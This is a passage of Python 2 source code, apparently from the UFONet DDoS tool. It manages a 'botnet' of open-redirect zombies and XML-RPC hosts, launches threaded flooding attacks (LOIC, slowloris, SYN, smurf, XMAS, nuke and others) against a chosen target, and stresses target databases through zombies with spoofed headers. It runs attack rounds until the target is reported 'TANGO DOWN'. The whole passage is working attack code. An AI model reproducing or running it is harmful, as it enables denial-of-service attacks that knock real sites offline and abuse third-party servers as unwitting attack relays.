  3438. # test whole botnet
  3439. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  3440. print '='*35
  3441. zombies = self.extract_zombies()
  3442. rpcs = self.extract_rpcs()
  3443. aliens = self.extract_aliens()
  3444. droids = self.extract_droids()
  3445. ucavs = self.extract_ucavs()
  3446. try:
  3447. botnet = zombies + rpcs + aliens + droids + ucavs
  3448. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  3449. except:
  3450. return
  3451. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  3452. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  3453. print "\n" + '='*52
  3454. print "\n+ Total Botnet:", len(botnet)
  3455. print "\n" + '-'*25
  3456. print "\n+ Total Tested:", len(tested_zombies)
  3457. print "\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]"
  3458. print " - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n"
  3459. print '='*52 + '\n'
  3460. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  3461. if not self.options.forceyes:
  3462. update_reply = raw_input("[AI] Do you want update your army? (Y/n)")
  3463. print '-'*25
  3464. else:
  3465. update_reply = "Y"
  3466. if update_reply == "n" or update_reply == "N":
  3467. print "[AI] "+self.exit_msg+"\n"
  3468. return
  3469. else:
  3470. if num_disconnected_zombies > 0:
  3471. self.update_zombies(zombies_ready)
  3472. if num_failed_rpcs > 0:
  3473. self.update_rpcs(rpcs_ready)
  3474. if not self.options.upload:
  3475. print "\n[Info] [AI] Botnet updated! -> ;-)\n"
  3476. else:
  3477. print "[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n"
  3478. def attacking(self, zombies, target):
  3479. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  3480. if self.options.forcessl:
  3481. if target.startswith("http://"):
  3482. target = target.replace("http://", "https://") # force SSL/TLS
  3483. if target.startswith("http://") or target.startswith("https://"):
  3484. print "Attacking:", target
  3485. print '='*55, "\n"
  3486. # send Open Redirect injection (multiple zombies > one target url)
  3487. reply = self.injection(target, zombies)
  3488. else:
  3489. print "\n[Error] [AI] Target not valid: "+target+" -> [Discarding!]\n"
  3490. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, xmas, nuke):
  3491. # perform some other extra attacks (such as DoS techniques)
  3492. time.sleep(2) # aiming (multi-threading flow time compensation)
  3493. if loic:
  3494. try:
  3495. self.options.loic = int(loic)
  3496. except:
  3497. self.options.loic = 100 # default LOIC requests
  3498. if self.options.loic < 1:
  3499. self.options.loic = 100
  3500. self.instance = LOIC() # instance main class for LOIC operations
  3501. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  3502. t.daemon = True # extra weapons are threaded as daemons
  3503. t.start()
  3504. self.update_loic_stats() # add new LOIC attack to mothership
  3505. if loris:
  3506. try:
  3507. self.options.loris = int(loris)
  3508. except:
  3509. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  3510. if self.options.loris < 1:
  3511. self.options.loris = 101
  3512. self.instance = LORIS() # instance main class for LORIS operations
  3513. t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  3514. t2.daemon = True
  3515. t2.start()
  3516. self.update_loris_stats() # add new LORIS attack to mothership
  3517. if ufosyn:
  3518. try:
  3519. self.options.ufosyn = int(ufosyn)
  3520. except:
  3521. self.options.ufosyn = 100 # default UFOSYN requests
  3522. if self.options.ufosyn < 1:
  3523. self.options.ufosyn = 100
  3524. self.instance = UFOSYN() # instance main class for UFOSYN operations
  3525. t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  3526. t3.daemon = True
  3527. t3.start()
  3528. self.update_ufosyn_stats() # add new UFOSYN attack to mothership
  3529. if spray:
  3530. try:
  3531. self.options.spray = int(spray)
  3532. except:
  3533. self.options.spray = 100 # default SPRAY requests
  3534. if self.options.spray < 1:
  3535. self.options.spray = 100
  3536. self.instance = SPRAY() # instance main class for SPRAY operations
  3537. t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  3538. t4.daemon = True
  3539. t4.start()
  3540. self.update_spray_stats() # add new SPRAY attack to mothership
  3541. if smurf:
  3542. try:
  3543. self.options.smurf = int(smurf)
  3544. except:
  3545. self.options.smurf = 101 # default SMURF requests
  3546. if self.options.smurf < 1:
  3547. self.options.smurf = 101
  3548. self.instance = SMURF() # instance main class for SMURF operations
  3549. t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  3550. t5.daemon = True
  3551. t5.start()
  3552. self.update_smurf_stats() # add new SMURF attack to mothership
  3553. if xmas:
  3554. try:
  3555. self.options.xmas = int(xmas)
  3556. except:
  3557. self.options.xmas = 101 # default XMAS requests
  3558. if self.options.xmas < 1:
  3559. self.options.xmas = 101
  3560. self.instance = XMAS() # instance main class for XMAS operations
  3561. t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  3562. t6.daemon = True
  3563. t6.start()
  3564. self.update_xmas_stats() # add new XMAS attack to mothership
  3565. if nuke:
  3566. if sys.platform == "linux" or sys.platform == "linux2":
  3567. try:
  3568. self.options.nuke = int(nuke)
  3569. except:
  3570. self.options.nuke = 100 # default NUKE requests
  3571. if self.options.nuke < 1:
  3572. self.options.nuke = 100
  3573. self.instance = NUKE() # instance main class for NUKE operations
  3574. t = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  3575. t.daemon = True # extra weapons are threaded as daemons
  3576. t.start()
  3577. self.update_nuke_stats() # add new NUKE attack to mothership
  3578. else:
  3579. print "\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n"
  3580. def stressing(self, target, zombie):
  3581. # perform a DDoS Web attack against a target, requesting records on target's database
  3582. options = self.options
  3583. db_input = self.options.dbstress
  3584. def random_key(length):
  3585. key = ''
  3586. for i in range(length):
  3587. key += random.choice(string.lowercase + string.uppercase + string.digits)
  3588. return key
  3589. # generating random alphanumeric queries
  3590. if self.db_flash > 9: # set db flash start on: 10
  3591. length = 1024 # search a heavy random length query (db flash): 1024
  3592. self.db_flash = 0 # reset db flash counter
  3593. else:
  3594. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  3595. key = str(random_key(length))
  3596. if self.db_flash > 9:
  3597. print "\n[Info] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)"
  3598. else:
  3599. print "\n[Info] [DBStress] Trying database request to: " + db_input + " | Query used: " + key
  3600. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3601. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3602. if not target.endswith('/'): # add "/" to end of target
  3603. target = target + "/"
  3604. url = zombie + target + db_input + key
  3605. req = urllib2.Request(url, None, headers)
  3606. if options.proxy: # set proxy
  3607. self.proxy_transport(options.proxy)
  3608. try:
  3609. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  3610. except urllib2.HTTPError, e:
  3611. if e.code == 401:
  3612. print '[Info] [DBStress] Not authorized'
  3613. elif e.code == 404:
  3614. print '[Info] [DBStress] Not found'
  3615. elif e.code == 503:
  3616. print '[Info] [DBStress] Service unavailable'
  3617. else:
  3618. print '[Info] [DBStress] Unknown error'
  3619. else:
  3620. print '[Info] [DBStress] Database query: HIT!'
  3621. def attackme(self, zombies):
  3622. # perform a DDoS Web attack against yourself
  3623. print "[AI] Starting local port to listening at: " + self.port + "\n"
  3624. print '='*21 + "\n"
  3625. self.doll=Doll(self)
  3626. self.doll.start()
  3627. while not self.doll._armed:
  3628. time.sleep(1)
  3629. # send Open Redirect injection (multiple zombies-multiple target urls)
  3630. target = ""
  3631. self.injection(target, zombies)
  3632. self.doll.shutdown()
  3633. self.doll.join()
  3634. self.herd.list_fails()
  3635. def check_target_status(self):
  3636. if self.num_is_down > 0 and self.num_is_up == 0: # check for: 1 or more down, 0 up
  3637. print "\n[Info] [AI] Congratulations!! -> [Target looks OFFLINE!]\n"
  3638. if not self.options.forceyes:
  3639. update_reply = raw_input("[AI] Do you want to send a [HEAD] check request? (y/N)")
  3640. print "\n" + '-'*25
  3641. else:
  3642. update_reply = "N"
  3643. if update_reply == "y" or update_reply == "Y":
  3644. try: # send HEAD connection
  3645. self.head = True
  3646. reply = self.connect_zombie(target)
  3647. self.head = False
  3648. if reply:
  3649. print "\n[Info] [AI] [Control] Target has replied you! -> [Keep shooting!]\n"
  3650. else:
  3651. print "\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n"
  3652. self.update_targets_crashed() # update targets crashed stats
  3653. self.update_mothership_stats() # update mothership completed attack stats
  3654. except Exception:
  3655. print "\n[Error] [AI] Something wrong with your connection!...\n"
  3656. if self.options.verbose:
  3657. traceback.print_exc()
  3658. return
  3659. else:
  3660. print "\n[Info] [AI] " + target + " -> [TANGO DOWN!!!]\n"
  3661. self.update_targets_crashed() # update targets crashed stats
  3662. self.update_mothership_stats() # update mothership completed attack stats
  3663. return
  3664. def starting_target_check(self, target, head_check):
  3665. options = self.options
  3666. head_check_here = False
  3667. head_check_external = False
  3668. if options.disablehead: # check at start is disabled (skipping!)
  3669. print "[Info] [AI] Skipping external check...\n"
  3670. head_check_here = True
  3671. head_check_external = True
  3672. else:
  3673. if head_check:
  3674. if not options.attackme:
  3675. print "[AI] Launching: 'Is target up?' check...\n"
  3676. try: # send HEAD connection
  3677. self.head = True
  3678. reply = self.connect_zombie(target)
  3679. self.head = False
  3680. if reply:
  3681. print "[Info] [AI] [Control] From YOU: YES -> ["+str(reply)+"-OK]"
  3682. head_check_here = True
  3683. else:
  3684. print "[Info] [AI] [Control] From YOU: NO -> [Target looks OFFLINE!]"
  3685. head_check_here = False
  3686. except Exception:
  3687. print "[Error] [AI] [Control] From YOU: NO -> [Cannot connect!]"
  3688. if self.options.verbose:
  3689. traceback.print_exc()
  3690. head_check_here = False
  3691. else: # check if local IP/PORT is listening on mothership
  3692. print "[AI] Launching: 'Is NAT ready?' check...\n"
  3693. try:
  3694. sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
  3695. result = sock.connect_ex(('0.0.0.0',8080))
  3696. if result == 0 or result == 110: # black magic
  3697. print "[Info] [AI] [Control] Local port: YES | Mothership accesible from -private- IP: http://0.0.0.0:8080"
  3698. head_check_here = True
  3699. else:
  3700. print "[Info] [AI] [Control] Local port: NO | Something goes wrong with your port: 8080"
  3701. head_check_here = False
  3702. except Exception:
  3703. print "[Error] [AI] [Control] Local port: NO | Something wrong checking for open ports..."
  3704. if self.options.verbose:
  3705. traceback.print_exc()
  3706. head_check_here = False
  3707. else:
  3708. head_check_here = True
  3709. # check target using external check services
  3710. self.external = True
  3711. if not options.attackme:
  3712. try:
  3713. url = self.external_check_service1 + target # check from external service [1]
  3714. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3715. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3716. if options.proxy: # set proxy
  3717. self.proxy_transport(options.proxy)
  3718. req = urllib2.Request(url, None, headers)
  3719. external_reply = urllib2.urlopen(req, context=self.ctx).read()
  3720. if "It's just you" in external_reply:
  3721. t = urlparse(self.external_check_service1)
  3722. name_external1 = t.netloc
  3723. print "[Info] [AI] [Control] From OTHERS: YES -> ["+name_external1+"]"
  3724. head_check_external = True
  3725. else:
  3726. url = self.external_check_service2 + target # check from external service [2]
  3727. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3728. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3729. if options.proxy: # set proxy
  3730. self.proxy_transport(options.proxy)
  3731. req = urllib2.Request(url, None, headers)
  3732. req_reply = urllib2.urlopen(req, context=self.ctx).read()
  3733. if 'returned code 200 OK and is up' in req_reply:
  3734. t = urlparse(self.external_check_service2)
  3735. name_external2 = t.netloc
  3736. print "[Info] [AI] [Control] From OTHERS: YES -> ["+name_external2+"]"
  3737. head_check_external = True
  3738. else:
  3739. print "[Info] [AI] [Control] From OTHERS: NO -> [Target looks OFFLINE!]"
  3740. head_check_external = False
  3741. except Exception:
  3742. print "[Error] [AI] [Control] From OTHERS: NO -> [Cannot connect!]"
  3743. head_check_external = False
  3744. else:
  3745. try: # check mothership from public ip / NAT using HEAD request
  3746. try:
  3747. conn = httplib.HTTPConnection(str(self.pub_ip), 8080, timeout=10)
  3748. conn.request("HEAD", "/")
  3749. reply = conn.getresponse()
  3750. except Exception:
  3751. reply = None
  3752. if reply:
  3753. print "[Info] [AI] [Control] From OTHERS: YES -> [Mothership OK!] -> ["+str(self.pub_ip)+":8080]"
  3754. head_check_external = True
  3755. else:
  3756. print "[Info] [AI] [Control] From OTHERS: NO -> [Cannot connect!] -> [NAT is failing!]"
  3757. head_check_external = False
  3758. head_check_here = False # stop attack if not public IP available
  3759. except Exception:
  3760. print "[Error] [AI] [Control] From OTHERS: NO -> [Check failed!]"
  3761. head_check_here = False # stop attack if not public IP available
  3762. if self.options.verbose:
  3763. traceback.print_exc()
  3764. head_check_external = False
  3765. self.external = False
  3766. return head_check_here, head_check_external
  3767. def injection(self, target, zombies, head_check = True):
  3768. options = self.options
  3769. # check target's integrity at start
  3770. head_check_here, head_check_external = self.starting_target_check(target, head_check)
  3771. # ask user to confirm the attack
  3772. if head_check_here == True or head_check_external == True:
  3773. if not self.options.forceyes:
  3774. if not options.attackme:
  3775. if not options.disablehead:
  3776. start_reply = raw_input("[AI] Target is ONLINE!. Do you want to start an attack? (y/N)\n")
  3777. else:
  3778. start_reply = raw_input("[AI] Do you want to start an attack, directly? (y/N)\n")
  3779. else:
  3780. if not options.disablehead:
  3781. start_reply = raw_input("[AI] Mothership is READY!. Do you want to start an attack 'against yourself'? (y/N)\n")
  3782. else:
  3783. start_reply = raw_input("[AI] Do you want to start an attack 'against yourself', directly? (y/N)\n")
  3784. else:
  3785. start_reply = "Y"
  3786. if start_reply == "y" or start_reply == "Y":
  3787. if options.attackme:
  3788. total_rounds = "2" # default rounds for attackme
  3789. else:
  3790. total_rounds = options.rounds # extract number of rounds
  3791. if total_rounds <= "0":
  3792. total_rounds = "1"
  3793. self.herd.cleanup()
  3794. num_round = 1
  3795. num_hits = 0
  3796. num_zombie = 1
  3797. # start to attack the target with [MODS]
  3798. if options.loic or options.loris or options.ufosyn or options.spray or options.smurf or options.xmas or options.nuke:
  3799. ex = threading.Thread(target=self.aiming_extra_weapons, args=(target, self.options.proxy, self.options.loic, self.options.loris, self.options.ufosyn, self.options.spray, self.options.smurf, self.options.xmas, self.options.nuke)) # multithreading flow for extra attacks
  3800. ex.daemon = True # extra weapons are threaded as daemons
  3801. ex.start()
  3802. # start to attack the target with [ARMY]
  3803. zombies = self.extract_zombies() # extract zombies from file
  3804. if zombies:
  3805. self.total_zombie = len(zombies)
  3806. else:
  3807. self.total_zombie = 0
  3808. return
  3809. self.herd=Herd(self)
  3810. if not self.options.disablepurge:
  3811. self.discardzombies = []
  3812. self.discard_aliens = []
  3813. self.discard_droids = []
  3814. self.discard_rpcs = []
  3815. self.discard_ucavs = []
  3816. total_disc_zombies = 0
  3817. self.num_discard_zombies = 0
  3818. self.num_discard_aliens = 0
  3819. self.num_discard_droids = 0
  3820. self.num_discard_rpcs = 0
  3821. self.num_discard_ucavs = 0
  3822. self.empty_zombies = False
  3823. for i in range(0, int(total_rounds)): # start attacking using rounds
  3824. print ("\x1b[2J\x1b[H")# clear screen (black magic)
  3825. print '='*42
  3826. print 'Starting round:', num_round, ' of ', total_rounds
  3827. print '='*42
  3828. self.herd.reset()
  3829. self.extra_zombies_lock = True
  3830. self.total_zombies_failed_connection = 0 # reset failed [Zombies] connection counter each round
  3831. self.send_zombies(zombies) # send [Zombies]
  3832. if not self.options.attackme:
  3833. if not self.options.disablealiens or not self.options.disabledroids or not self.options.disablerpcs or not self.options.disableucavs:
  3834. if self.options.verbose:
  3835. print "[Info] [AI] [Control] All [Zombies] have returned for this round... -> [Waiting!]"
  3836. self.send_extra_zombies() # send [ARMY]
  3837. while self.extra_zombies_lock == True:
  3838. time.sleep(1) # wait for [ARMY] to return
  3839. if self.options.verbose:
  3840. print "\n" + '='*42
  3841. print "\n[Info] [AI] [Control] Full [ARMY] has returned for this round! -> [Refolding!]"
  3842. else:
  3843. zombies_lock = 0
  3844. if self.options.expire: # set timing for purge
  3845. try:
  3846. timing = int(self.options.expire)
  3847. except:
  3848. timing = self.expire_timing # default timing for purge
  3849. else:
  3850. timing = self.expire_timing # default timing for purge
  3851. if timing < 1:
  3852. timing = self.expire_timing # default timing for purge
  3853. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  3854. while self.herd.no_more_zombies() == False: # waiting for [Zombies] to return
  3855. zombies_lock = zombies_lock + 1
  3856. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  3857. if self.options.verbose:
  3858. print "[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]"
  3859. break
  3860. else:
  3861. time.sleep(1)
  3862. if self.options.verbose:
  3863. print "\n" + '='*42
  3864. print "\n[Info] [AI] [Control] All [Zombies] have returned for this round! -> [Refolding!]"
  3865. if not self.options.attackme and not self.options.disableucavs: # check for target's status returned by [UCAVs]
  3866. self.check_target_status()
  3867. if not self.options.attackme and not self.options.disablepurge: # enable [Zombies] purge round check
  3868. self.abandoning_zombies() # check for abandoning zombies
  3869. for zombie in self.herd.done: # check for num hits
  3870. if self.herd.connection_failed(zombie) == False:
  3871. num_hits = num_hits + 1
  3872. num_zombie = num_zombie + 1
  3873. if num_zombie > self.total_zombie:
  3874. num_zombie = 1
  3875. if not self.options.attackme and not self.options.disablescanner: # perform a broadband test on target
  3876. check_is_loading = self.check_is_loading(target)
  3877. self.herd.dump_html()
  3878. if not self.options.disablepurge:
  3879. if self.empty_zombies == True:
  3880. break # exit routine when not any more zombies
  3881. num_round = num_round + 1
  3882. if self.options.verbose:
  3883. print "\n" + '='*42
  3884. print "\n[Info] [AI] This battle is over! -> [Reporting!]"
  3885. if self.options.target_list:
  3886. self.num_target_list = self.num_target_list - 1 # num_target_list = 0 provokes exit!
  3887. print ("\x1b[2J\x1b[H") # black magic
  3888. if not self.options.attackme: # show herd results
  3889. self.herd.dump()
  3890. else: # show doll results
  3891. print '='*21
  3892. print "\n[Info] [AI] Mothership transmission...\n"
  3893. num_real_zombies = len(self.doll.real_zombies)
  3894. print "[Info] [AI] Total of [Zombies] that are 100% vulnerable to Open Redirect (CWE-601): " + str(num_real_zombies) + "\n"
  3895. for z in self.doll.real_zombies: # show only alien verified zombies
  3896. for x in z:
  3897. print " - " + str(x)
  3898. self.herd.dump_html(True) # show (all) zombies statistics
  3899. if not self.options.attackme:
  3900. if not self.options.disablepurge:
  3901. print "\n[Info] [AI] Report completed! -> [Purging!]\n"
  3902. else:
  3903. if not options.target_list:
  3904. print "\n[Info] [AI] Report completed! -> [Exiting!]\n"
  3905. else:
  3906. print "\n[Info] [AI] Report completed! -> [OK!]\n"
  3907. self.update_mothership_stats() # update mothership stats
  3908. if not self.options.disablepurge:
  3909. print '='*21+ "\n"
  3910. total_disc_zombies = self.num_discard_zombies + self.num_discard_aliens + self.num_discard_droids + self.num_discard_rpcs + self.num_discard_ucavs
  3911. if total_disc_zombies > 0 and total_disc_zombies < 2:
  3912. print "[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] unit that isn't working as expected...\n"
  3913. elif total_disc_zombies > 1:
  3914. print "[Info] [AI] [Control] You have [" + str(total_disc_zombies) + "] units that aren't working as expected...\n"
  3915. if self.num_discard_zombies > 0:
  3916. print " + Zombies: ["+ str(self.num_discard_zombies)+"]"
  3917. if self.num_discard_aliens > 0:
  3918. print " + Aliens : ["+ str(self.num_discard_aliens)+"]"
  3919. if self.num_discard_droids > 0:
  3920. print " + Droids : ["+ str(self.num_discard_droids)+"]"
  3921. if self.num_discard_rpcs > 0:
  3922. print " + X-RPCs : ["+ str(self.num_discard_rpcs)+"]"
  3923. if self.num_discard_ucavs > 0:
  3924. print " + UCAVs : ["+ str(self.num_discard_ucavs)+"]"
  3925. if total_disc_zombies > 0:
  3926. if not self.options.forceyes:
  3927. if total_disc_zombies > 0 and total_disc_zombies < 2:
  3928. backup_reply = raw_input("\n[AI] Do you want to purge it from your files? (Y/n)\n")
  3929. elif total_disc_zombies > 1:
  3930. backup_reply = raw_input("\n[AI] Do you want to purge them from your files? (Y/n)\n")
  3931. else:
  3932. backup_reply = "Y"
  3933. if backup_reply == "y" or backup_reply == "Y":
  3934. print "\n[Info] [AI] Purging failed units from files...\n"
  3935. discarded = []
  3936. if self.num_discard_zombies > 0:
  3937. for z in self.discardzombies:
  3938. discarded.append(z)
  3939. print " + [Info] [Zombies] "+z+" -> [Purged!]"
  3940. if self.num_discard_aliens > 0:
  3941. for a in self.discard_aliens:
  3942. discarded.append(a)
  3943. print " + [Info] [Aliens] "+a+" -> [Purged!]"
  3944. if self.num_discard_droids > 0:
  3945. for d in self.discard_droids:
  3946. discarded.append(d)
  3947. print " + [Info] [Droids] "+d+" -> [Purged!]"
  3948. if self.num_discard_rpcs > 0:
  3949. for r in self.discard_rpcs:
  3950. discarded.append(r)
  3951. print " + [Info] [X-RPCs] "+r+" -> [Purged!]"
  3952. if self.num_discard_ucavs > 0:
  3953. for u in self.discard_ucavs:
  3954. discarded.append(u)
  3955. print " + [Info] [UCAVs] "+u+" -> [Purged!]"
  3956. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  3957. if disc_zombies > 0 and disc_zombies < 2:
  3958. print "\n[Info] [AI] You have removed ["+str(disc_zombies)+"] unit! -> [OK!]\n"
  3959. elif disc_zombies > 1:
  3960. print "\n[Info] [AI] You have removed ["+str(disc_zombies)+"] units! -> [OK!]\n"
  3961. if not self.options.target_list:
  3962. print '-'*21+ "\n"
  3963. print "[AI] "+self.exit_msg+"\n"
  3964. if not self.options.web:
  3965. return
  3966. else:
  3967. if self.num_target_list > 0: # still more targets
  3968. print '-'*21+ "\n"
  3969. print "[Info] [AI] Attack against: "+str(target)+" -> [Finished!]\n"
  3970. return
  3971. else: # finish attack from multiple targets
  3972. print '-'*21+ "\n"
  3973. print "[Info] [AI] Attack against: "+str(target)+" -> [Finished!]"
  3974. print "\n"+ '='*21+ "\n"
  3975. print "[Info] [AI] All your battles have ended! -> [Exiting!]"
  3976. print "\n"+ '-'*21+ "\n"
  3977. print "[AI] "+self.exit_msg+"\n"
  3978. if not self.options.web:
  3979. return
  3980. else:
  3981. if num_real_zombies < 1: # not any 100% vulnerable zombie found
  3982. print "\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n"
  3983. if os.path.exists('mothership') == True:
  3984. os.remove('mothership') # remove mothership stream
  3985. if os.path.exists('alien') == True:
  3986. os.remove('alien') # remove random alien worker
  3987. if not options.web:
  3988. sys.exit(2) # exit
  3989. else:
  3990. return
  3991. else:
  3992. print "\n" + '='*21
  3993. AI_reply = raw_input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
  3994. if AI_reply == "y" or AI_reply == "Y":
  3995. self.AI() # AI fortune cookie
  3996. print '-'*21+ "\n"
  3997. print "\n[AI] "+self.exit_msg+"\n"
  3998. if os.path.exists('mothership') == True:
  3999. os.remove('mothership') # remove mothership stream
  4000. if os.path.exists('alien') == True:
  4001. os.remove('alien') # remove random alien worker
  4002. if not options.web:
  4003. sys.exit(2) # exit
  4004. else:
  4005. return
  4006. else:
  4007. if not options.attackme:
  4008. print "\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]"
  4009. else:
  4010. print "\n[Error] [AI] NAT is not working correctly! -> [Exiting!]"
  4011. print "\n" + '-'*21
  4012. print "\n[AI] "+self.exit_msg+"\n"
  4013. if os.path.exists('mothership') == True:
  4014. os.remove('mothership') # remove mothership stream
  4015. if os.path.exists('alien') == True:
  4016. os.remove('alien') # remove random alien worker
  4017. return
  4018. if __name__ == "__main__":
  4019. app = UFONet()
  4020. options = app.create_options()
  4021. if options:
  4022. app.run()